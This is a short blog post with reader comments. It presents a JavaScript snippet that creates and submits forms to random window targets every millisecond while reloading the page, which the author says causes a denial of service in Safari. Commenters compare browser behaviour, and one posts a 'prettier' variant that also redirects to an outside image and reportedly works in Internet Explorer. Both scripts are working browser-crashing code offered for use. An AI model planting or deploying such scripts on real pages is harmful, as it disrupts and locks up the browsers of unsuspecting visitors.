Browser window spawning DOS

This causes DOS in the latest Safari and maybe other browsers too. I tried it in Opera and it does create loads of tabs but seems stable enough to close it down. Enjoy! 🙂

<script type="text/javascript">
window.onload = function() {	
	setInterval('spawn()',1);	
}
function spawn() {
	frm = document.createElement('form');
	frm.target = 'x' + Math.round(Math.random() * 100000);
	frm.method = 'GET';
	frm.action = '?';
	document.body.appendChild(frm);
	frm.submit();
	self.location.reload();
}
</script>

5 Responses to “Browser window spawning DOS”

  1. gregf writes:

    I just gave it a shot in Firefox. It loaded three rows of tabs then the popup blocker kicked in, and stopped the rest. Everything remained functional.

  2. xjf writes:

    In my Opera 9.24 it opens a lot of tabs but with Shit+Ctrl+Alt+W you can close most of them and then quickly go like (Site Preferences Disable Javascript). And that’s it.

  3. Gareth Heyes writes:

    Yeah Safari is the only one that seems to have trouble with it, but with a little hacking maybe the others can also be affected.

  4. Mr. T writes:

    Evil. Pure evil. 🙂 Ingenius.

  5. crit3rion writes:

    Great code! Let’s make it pretty 🙂

    (It works really well in IE and ies4linux)

    <script type=”text/javascript”>
    window.onload = function() {
    setInterval(‘spawn()’,1);
    }
    function spawn() {
    frm = document.location=’http://misers.org/pictures/SomethingAwful/samakeyoulaugh/stallowned.jpg’
    frm = document.createElement(‘form’);
    frm.target = ‘x’ + Math.round(Math.random() * 1);
    frm.method = ‘GET’;
    frm.action = ‘?’;
    document.body.appendChild(frm);
    frm.submit();
    self.location.reload();
    }
    </script>